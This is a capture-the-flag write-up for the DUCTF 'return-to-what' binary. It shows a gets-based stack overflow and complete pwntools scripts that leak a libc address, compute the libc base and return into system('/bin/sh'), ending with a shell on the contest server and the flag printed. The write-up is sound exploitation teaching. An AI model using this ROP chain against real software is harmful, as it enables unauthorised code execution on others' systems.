DUCTF-return-to-what
Leaking Libc addresses to do ret2libc with unknown libc⌗
First lets take a look at the binary mitigations
{} ret2what checksec return-to-what
[*] '/home/h4x5p4c3/Downloads/ret2what/return-to-what'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Nx is enabled so we can’t do a bof and place our shellcode to get a shell and no canary which makes it easier and ASLR is probably enabled.
Decompilation and Disassembly⌗
The decompilation of the assembly code looks like this
undefined8 main(void)
{
    puts("Today, we\'ll have a lesson in returns.");
    vuln();
    return 0;
}
pwndbg> disassemble main
Dump of assembler code for function main:
   0x00000000004011ad <+0>: push   rbp
   0x00000000004011ae <+1>: mov    rbp,rsp # prologue
   0x00000000004011b1 <+4>: lea    rdi,[rip+0xe78] # rdi = address of [rip+0xe78]     
   0x00000000004011b8 <+11>: call   0x401030 <puts@plt> # call puts function
   0x00000000004011bd <+16>: mov    eax,0x0 # eax = 0x0
   0x00000000004011c2 <+21>: call   0x401185 <vuln> # call vuln function which has the vulnerable gets function which we use to do bof
   0x00000000004011c7 <+26>: mov    eax,0x0 # eax = 0x0
   0x00000000004011cc <+31>: pop    rbp # epilogue
   0x00000000004011cd <+32>: ret
End of assembler dump.
In addition lets take a look at the vuln function too
void vuln(void)
{
    char *s;
    
    puts("Where would you like to return to?");
    gets(&s);
    return;
}
we know that gets is a vulnerable function which we can use to do a buffer overflow
Gadgets⌗
we’ll use the pop rdi gadget which is needed to pass a parameter to the called function and
the ret gadget to align our stack
Leaking address of Libc⌗
Now lets craft our exploit to leak address of libc and i previously found out the offset to do bof is 56
#!/usr/bin/env python3
from pwn import *
context.terminal = ['alacritty', '-e', 'sh', '-c']
context.log_level = 'info'
exe = context.binary = ELF('./return-to-what', checksec=True)
io = process(exe.path)
#io = remote('chal.duc.tf', 30003)
#gdb.attach(io)
pop_rdi = 0x000000000040122b
ret = 0x0000000000401016
leak = flat([
    cyclic(56), p64(pop_rdi),  exe.sym['__libc_start_main'],  exe.plt['puts'], exe.sym['_start']
])
io.sendline(leak)
io.recvline()
io.recvline()
recieved = io.recvline().strip()
libc_leak = u64(recieved.ljust(8, b"\x00"))
log.info("__libc_start_main leak {}".format(hex(libc_leak)))
io.close()
Here i leaked the address of __libc_start_main
Now lets run our exploit script in order to leak libc address
{} python exploit.py
[*] '/home/h4x5p4c3/Desktop/tmp/return-to-what'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'/home/h4x5p4c3/Desktop/tmp'
[+] Starting local process '/home/h4x5p4c3/Desktop/tmp/return-to-what': pid 4000
[*] __libc_start_main leak 0x7f1d48463ab0
Now we leaked our libc address which is 0x7f1d48463ab0, lets find the version of libc now in order to calculate offset of other libc functions
Lets use libc database search to find the version of libc » Libc Database

Now that we found out the libc version, here i assumed it to be the first libc so i choose to use libc6_2.27-3ubuntu1_amd64.so
Lets craft our final exploit script and run in on the remote server to get a shell and grab our flag 🚩
#!/usr/bin/env python3
from pwn import *
context.terminal = ['alacritty', '-e', 'sh', '-c']
context.log_level = 'info'
exe = context.binary = ELF('./return-to-what', checksec=True)
libc = ELF('./libc.so.6', checksec=True)
io = process(exe.path)
#io = remote('chal.duc.tf', 30003)
#gdb.attach(io)
pop_rdi = 0x000000000040122b
ret = 0x0000000000401016
leak = flat([
    cyclic(56), p64(pop_rdi),  exe.sym['__libc_start_main'],  exe.plt['puts'], exe.sym['_start']
])
io.sendline(leak)
io.recvline()
io.recvline()
recieved = io.recvline().strip()
libc_leak = u64(recieved.ljust(8, b"\x00"))
libc.address = libc_leak - libc.sym['__libc_start_main']
log.info("__libc_start_main leak {}".format(hex(libc_leak)))
log.info("libc base {}".format(hex(libc.address)))
bin_sh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
log.info("/bin/sh {}".format(hex(bin_sh)))
log.info("system {}".format(hex(system)))
payload = flat([
    cyclic(56), ret, pop_rdi, bin_sh, system
])
io.recv()
io.sendline(payload)
io.interactive()
Lets run our exploit as expected we get a shell so we’ll cat out the flag now
{} python exploit.py
[+] Opening connection to chal.duc.tf on port 30003: Done
[*] '/home/h4x5p4c3/Downloads/ret2what/return-to-what'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/h4x5p4c3/Downloads/ret2what/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] puts@plt: 0x401030
[*] __libc_start_main: 0x403ff0
[*] Leaked libc address,  __libc_start_main: 0x7f6172d44ab0
[*] Address of libc 0x7f6172d23000
[*] bin/sh 0x7f6172ed6e9a
[*] system 0x7f6172d72440
[*] Switching to interactive mode
$ ls
flag.txt
return-to-what
$ cat flag.txt
DUCTF{ret_pUts_ret_main_ret_where???}